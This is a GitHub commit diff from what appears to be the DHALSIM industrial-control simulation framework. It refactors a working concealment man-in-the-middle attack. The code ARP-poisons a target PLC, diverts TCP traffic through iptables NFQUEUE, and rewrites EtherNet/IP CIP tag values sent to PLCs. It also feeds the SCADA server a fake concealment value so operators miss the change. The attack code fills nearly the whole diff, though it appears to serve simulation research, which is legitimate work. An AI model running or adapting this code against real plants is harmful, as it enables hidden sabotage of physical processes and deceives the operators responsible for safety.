Skip to content

Commit 219c203

Browse files
authored
Merge pull request #20 from afmurillo/dev-concealment-attacks
Dev concealment attacks
2 parents a1a0072 + edef302 commit 219c203

26 files changed

+738
-576
lines changed
Lines changed: 48 additions & 148 deletions
Original file line numberDiff line numberDiff line change
@@ -1,65 +1,38 @@
11
import argparse
22
import os
3-
import time
4-
import traceback
53
from pathlib import Path
6-
import threading
74

8-
from dhalsim.network_attacks.enip_cip_parser import cip
9-
10-
from netfilterqueue import NetfilterQueue
11-
from scapy.layers.inet import IP, TCP
12-
from scapy.packet import Raw
13-
14-
from dhalsim.network_attacks.utilities import launch_arp_poison, restore_arp, \
15-
translate_payload_to_float, translate_float_to_payload, get_mac, spoof_arp_cache
5+
from dhalsim.network_attacks.utilities import launch_arp_poison, restore_arp
166
from dhalsim.network_attacks.synced_attack import SyncedAttack
177

18-
nfqueue = NetfilterQueue()
8+
import subprocess
9+
import sys
10+
import signal
1911

2012

21-
import _thread
22-
2313
class Error(Exception):
2414
"""Base class for exceptions in this module."""
2515

2616

2717
class DirectionError(Error):
2818
"""Raised when the optional parameter direction does not have source or destination as value"""
2919

30-
class ConcealmentAttack(SyncedAttack):
31-
"""
32-
This is a Naive Man In The Middle attack. This attack will modify
33-
the data that is passed around in tcp packets on the network, in order to
34-
change the values of tags before they reach the requesting PLC.
35-
36-
It does this by capturing the responses of the the target plc, and changing
37-
some bytes in the TCP packet so that the value is a different value.
38-
39-
When preforming this attack, you can use either an offset, or an absolute value.
4020

41-
When using this type of attack, all the responses of the PLC are modified.
42-
You cannot modify the values of individual tags.
21+
class ConcealmentMiTMAttack(SyncedAttack):
22+
"""
23+
todo
4324
4425
:param intermediate_yaml_path: The path to the intermediate YAML file
4526
:param yaml_index: The index of the attack in the intermediate YAML
4627
"""
4728

48-
ARP_POISON_PERIOD = 15
49-
"""Period in seconds of arp poison"""
50-
51-
5229
def __init__(self, intermediate_yaml_path: Path, yaml_index: int):
5330
super().__init__(intermediate_yaml_path, yaml_index)
5431
os.system('sysctl net.ipv4.ip_forward=1')
55-
self.queue = None
56-
self.q = None
57-
self.thread = None
58-
self.run_thread = False
59-
self.attacked_tag = self.intermediate_attack['tag']
6032

61-
# The session id is used to pair CIP requests (with the tag name), with their responses (with the tag value)
62-
self.session_id = 0
33+
# Process object to handle nfqueue
34+
self.nfqueue_process = None
35+
6336

6437
def setup(self):
6538
"""
@@ -74,113 +47,23 @@ def setup(self):
7447
7548
Finally, it launches the thread that will examine all captured packets.
7649
"""
77-
#os.system(f'iptables -t mangle -A FORWARD -p tcp -d {self.target_plc_ip} -j NFQUEUE --queue-num 1')
78-
os.system(f'iptables -t mangle -A FORWARD -p tcp -j NFQUEUE --queue-num 1')
79-
80-
81-
os.system('iptables -A FORWARD -p icmp -j DROP')
82-
os.system('iptables -A INPUT -p icmp -j DROP')
83-
os.system('iptables -A OUTPUT -p icmp -j DROP')
50+
self.modify_ip_tables(True)
8451

85-
self.logger.info(f"NFqueue Bound periodic ARP Poison between {self.target_plc_ip} and "
86-
f"{self.intermediate_attack['gateway_ip']}")
8752
# Launch the ARP poison by sending the required ARP network packets
88-
self.launch_mitm(get_macs=True)
89-
self.logger.info(f"Configured ARP Poison between {self.target_plc_ip} and "
90-
f"{self.intermediate_attack['gateway_ip']}")
91-
92-
self.logger.debug('Tag being attacked: ' + str(self.attacked_tag))
93-
94-
nfqueue.bind(0, self.capture)
95-
nfqueue.run(block=False)
96-
97-
# Refresh ARP poison
98-
#_thread.start_new_thread(self.refresh_poison, (self.ARP_POISON_PERIOD, self.ARP_POISON_PERIOD))
99-
100-
def refresh_poison(self, period, delay):
101-
time.sleep(delay)
102-
while self.run_thread:
103-
self.launch_mitm(get_macs=False)
104-
time.sleep(period)
105-
106-
def launch_mitm(self, get_macs=False):
53+
launch_arp_poison(self.target_plc_ip, self.intermediate_attack['gateway_ip'])
10754
if self.intermediate_yaml['network_topology_type'] == "simple":
10855
for plc in self.intermediate_yaml['plcs']:
10956
if plc['name'] != self.intermediate_plc['name']:
57+
launch_arp_poison(self.target_plc_ip, plc['local_ip'])
11058

111-
if get_macs:
112-
self.mac_target_source = get_mac(self.target_plc_ip)
113-
self.mac_target_destination = get_mac(plc['local_ip'])
114-
115-
spoof_arp_cache(self.target_plc_ip, self.mac_target_source, plc['local_ip'])
116-
spoof_arp_cache(plc['local_ip'], self.mac_target_destination, self.target_plc_ip)
117-
118-
else:
119-
if get_macs:
120-
self.mac_target_source = get_mac(self.target_plc_ip)
121-
self.mac_target_destination = get_mac(self.intermediate_attack['gateway_ip'])
122-
123-
spoof_arp_cache(self.target_plc_ip, self.mac_target_source, self.intermediate_attack['gateway_ip'])
124-
spoof_arp_cache(self.intermediate_attack['gateway_ip'], self.mac_target_destination, self.target_plc_ip)
125-
126-
self.logger.info(f"ARP Poison between {self.target_plc_ip} and "
59+
self.logger.debug(f"Concealment MITM Attack ARP Poison between {self.target_plc_ip} and "
12760
f"{self.intermediate_attack['gateway_ip']}")
12861

129-
def capture(self, packet):
130-
"""
131-
This function is the function that will run in the thread started in the setup function.
62+
queue_number = 1
63+
nfqueue_path = Path(__file__).parent.absolute() / "concealment_netfilter_queue.py"
64+
cmd = ["python3", str(nfqueue_path), str(self.intermediate_yaml_path), str(self.yaml_index), str(queue_number)]
13265

133-
For every packet that enters the netfilterqueue, it will check its length. If the length is
134-
in between 100 and 116, we are dealing with a CIP packet. We then change the payload of that
135-
packet and delete the original checksum.
136-
"""
137-
while self.run_thread:
138-
try:
139-
p = IP(packet.payload)
140-
#self.logger.debug('packet')
141-
#self.logger.debug(p.show())
142-
if 'ENIP_SendRRData' in p:
143-
# This type of packet carries the tag name
144-
#self.logger.debug('ENIP_SendRRData')
145-
#self.logger.debug(p.show())
146-
if 'CIP_ReqConnectionManager' in p:
147-
tag_name = p[Raw].load.decode(encoding='latin-1').split(':')[0][8:]
148-
self.logger.debug('ENIP TCP Session ID: ' + str(p['ENIP_TCP'].session))
149-
self.logger.debug('Received tag: ' + tag_name)
150-
151-
if self.attacked_tag == tag_name:
152-
self.logger.debug('Modifying tag: ' + str(tag_name))
153-
self.session_id = p['ENIP_TCP'].session
154-
155-
else:
156-
this_session = p['ENIP_TCP'].session
157-
if self.session_id == this_session:
158-
value = translate_payload_to_float(p[Raw].load)
159-
self.logger.debug('tag value is:' + str(value))
160-
self.logger.debug('Tag ' + self.attacked_tag + ' is going to be modified')
161-
162-
if 'value' in self.intermediate_attack.keys():
163-
p[Raw].load = translate_float_to_payload(
164-
self.intermediate_attack['value'], p[Raw].load)
165-
elif 'offset' in self.intermediate_attack.keys():
166-
self.logger.debug('Offsetting value')
167-
p[Raw].load = translate_float_to_payload(
168-
translate_payload_to_float(p[Raw].load) + self.intermediate_attack[
169-
'offset'], p[Raw].load)
170-
171-
self.logger.debug\
172-
('New payload tag value is: ' + str(translate_payload_to_float(p[Raw].load)))
173-
174-
del p[TCP].chksum
175-
del p[IP].chksum
176-
177-
packet.set_payload(bytes(p))
178-
self.logger.debug(f"Value of network packet for {p[IP].dst} overwritten.")
179-
180-
packet.accept()
181-
except Exception as exc:
182-
print("Exception in a MITM attack!:", exc)
183-
print(traceback.format_exc())
66+
self.nfqueue_process = subprocess.Popen(cmd, shell=False, stderr=sys.stderr, stdout=sys.stdout)
18467

18568
def interrupt(self):
18669
"""
@@ -203,26 +86,43 @@ def teardown(self):
20386
if plc['name'] != self.intermediate_plc['name']:
20487
restore_arp(self.target_plc_ip, plc['local_ip'])
20588

206-
self.logger.debug(f"Naive MITM Attack ARP Restore between {self.target_plc_ip} and "
89+
self.logger.debug(f"MITM Attack ARP Restore between {self.target_plc_ip} and "
20790
f"{self.intermediate_attack['gateway_ip']}")
20891

209-
os.system(
210-
f'iptables -t mangle -D FORWARD -p tcp -j NFQUEUE --queue-num 1')
211-
212-
os.system('iptables -D FORWARD -p icmp -j DROP')
213-
os.system('iptables -D INPUT -p icmp -j DROP')
214-
os.system('iptables -D OUTPUT -p icmp -j DROP')
92+
self.modify_ip_tables(False)
93+
self.logger.debug(f"Restored ARP")
21594

216-
self.run_thread = False
217-
time.sleep(0.5)
218-
nfqueue.unbind()
219-
#self.thread.join()
95+
self.logger.debug("Stopping nfqueue subprocess...")
96+
self.nfqueue_process.send_signal(signal.SIGINT)
97+
self.nfqueue_process.wait()
98+
if self.nfqueue_process.poll() is None:
99+
self.nfqueue_process.terminate()
100+
if self.nfqueue_process.poll() is None:
101+
self.nfqueue_process.kill()
220102

221103
def attack_step(self):
222-
"""This function just passes, as there is no required action in an attack step."""
104+
"""Polls the NetFilterQueue subprocess and sends a signal to stop it when teardown is called"""
223105
pass
224106

225107

108+
@staticmethod
109+
def modify_ip_tables(append=True):
110+
111+
if append:
112+
os.system(f'iptables -t mangle -A PREROUTING -p tcp -j NFQUEUE --queue-num 1')
113+
114+
os.system('iptables -A FORWARD -p icmp -j DROP')
115+
os.system('iptables -A INPUT -p icmp -j DROP')
116+
os.system('iptables -A OUTPUT -p icmp -j DROP')
117+
else:
118+
119+
os.system(f'iptables -t mangle -D INPUT -p tcp -j NFQUEUE --queue-num 1')
120+
os.system(f'iptables -t mangle -D FORWARD -p tcp -j NFQUEUE --queue-num 1')
121+
122+
os.system('iptables -D FORWARD -p icmp -j DROP')
123+
os.system('iptables -D INPUT -p icmp -j DROP')
124+
os.system('iptables -D OUTPUT -p icmp -j DROP')
125+
226126
def is_valid_file(parser_instance, arg):
227127
"""Verifies whether the intermediate yaml path is valid."""
228128
if not os.path.exists(arg):
@@ -242,7 +142,7 @@ def is_valid_file(parser_instance, arg):
242142

243143
args = parser.parse_args()
244144

245-
attack = ConcealmentAttack(
145+
attack = ConcealmentMiTMAttack(
246146
intermediate_yaml_path=Path(args.intermediate_yaml),
247147
yaml_index=args.index)
248148
attack.main_loop()
Lines changed: 117 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,117 @@
1+
from dhalsim.network_attacks.mitm_netfilter_queue_subprocess import PacketQueue
2+
import argparse
3+
from pathlib import Path
4+
5+
import os
6+
import sys
7+
8+
from scapy.layers.inet import IP, TCP
9+
from scapy.packet import Raw
10+
11+
from dhalsim.network_attacks.utilities import translate_payload_to_float, translate_float_to_payload
12+
13+
14+
class ConcealmentMiTMNetfilterQueue(PacketQueue):
15+
16+
def __init__(self, intermediate_yaml_path: Path, yaml_index: int, queue_number: int ):
17+
super().__init__(intermediate_yaml_path, yaml_index, queue_number)
18+
self.attacked_tag = self.intermediate_attack['tag']
19+
self.scada_session_ids = []
20+
self.attack_session_ids = []
21+
22+
def capture(self, packet):
23+
"""
24+
This function is the function that will run in the thread started in the setup function.
25+
26+
For every packet that enters the netfilterqueue, it will check its length. If the length is
27+
in between 102, we are dealing with a CIP packet. We then change the payload of that
28+
packet and delete the original checksum.
29+
:param packet: The captured packet.
30+
"""
31+
try:
32+
p = IP(packet.get_payload())
33+
if 'TCP' in p:
34+
if len(p) == 116:
35+
this_session = int.from_bytes(p[Raw].load[4:8], sys.byteorder)
36+
tag_name = p[Raw].load.decode(encoding='latin-1')[54:56]
37+
self.logger.debug('ENIP TCP Session ID: ' + str(this_session))
38+
self.logger.debug('Received tag is: ' + tag_name)
39+
self.logger.debug('Attack tag is: ' + self.attacked_tag)
40+
if self.attacked_tag == tag_name:
41+
# This is a packet being sent to SCADA server, conceal the manipulation
42+
self.logger.debug('Packet source: ' + p[IP].src )
43+
self.logger.debug('SCADA IP: ' + self.intermediate_yaml['scada']['public_ip'])
44+
if p[IP].src == self.intermediate_yaml['scada']['public_ip']:
45+
self.logger.debug('SCADA session: ' + str(this_session))
46+
self.scada_session_ids.append(this_session)
47+
else:
48+
self.logger.debug('PLC session: ' + str(this_session))
49+
self.attack_session_ids.append(this_session)
50+
51+
if len(p) == 102:
52+
this_session = int.from_bytes(p[Raw].load[4:8], sys.byteorder)
53+
if this_session in self.attack_session_ids:
54+
self.logger.debug('Modifying because session is: ' + str(this_session))
55+
value = translate_payload_to_float(p[Raw].load)
56+
self.logger.debug('tag value is:' + str(value))
57+
58+
if 'value' in self.intermediate_attack.keys():
59+
p[Raw].load = translate_float_to_payload(
60+
self.intermediate_attack['value'], p[Raw].load)
61+
elif 'offset' in self.intermediate_attack.keys():
62+
p[Raw].load = translate_float_to_payload(
63+
translate_payload_to_float(p[Raw].load) + self.intermediate_attack[
64+
'offset'], p[Raw].load)
65+
66+
del p[IP].chksum
67+
del p[TCP].chksum
68+
69+
packet.set_payload(bytes(p))
70+
self.logger.debug(f"Value of network packet for {p[IP].dst} overwritten.")
71+
72+
73+
elif this_session in self.scada_session_ids:
74+
self.logger.debug('Concealing to SCADA: ' + str(this_session))
75+
p[Raw].load = translate_float_to_payload(
76+
self.intermediate_attack['concealment_value'], p[Raw].load)
77+
78+
del p[IP].chksum
79+
del p[TCP].chksum
80+
81+
packet.set_payload(bytes(p))
82+
self.logger.debug(f"Value of network packet for {p[IP].dst} overwritten.")
83+
84+
packet.accept()
85+
except Exception as exc:
86+
print(exc)
87+
if self.nfqueue:
88+
self.nfqueue.unbind()
89+
sys.exit(0)
90+
91+
def is_valid_file(parser_instance, arg):
92+
"""Verifies whether the intermediate yaml path is valid."""
93+
if not os.path.exists(arg):
94+
parser_instance.error(arg + " does not exist")
95+
else:
96+
return arg
97+
98+
if __name__ == "__main__":
99+
parser = argparse.ArgumentParser(description='Start everything for an attack')
100+
parser.add_argument(dest="intermediate_yaml",
101+
help="intermediate yaml file", metavar="FILE",
102+
type=lambda x: is_valid_file(parser, x))
103+
parser.add_argument(dest="index", help="Index of the network attack in intermediate yaml",
104+
type=int,
105+
metavar="N")
106+
parser.add_argument(dest="number", help="Number of que queue configured in IP Tables",
107+
type=int,
108+
metavar="N")
109+
110+
args = parser.parse_args()
111+
112+
attack = ConcealmentMiTMNetfilterQueue(
113+
intermediate_yaml_path=Path(args.intermediate_yaml),
114+
yaml_index=args.index,
115+
queue_number = args.number)
116+
attack.main_loop()
117+

0 commit comments

Comments
 (0)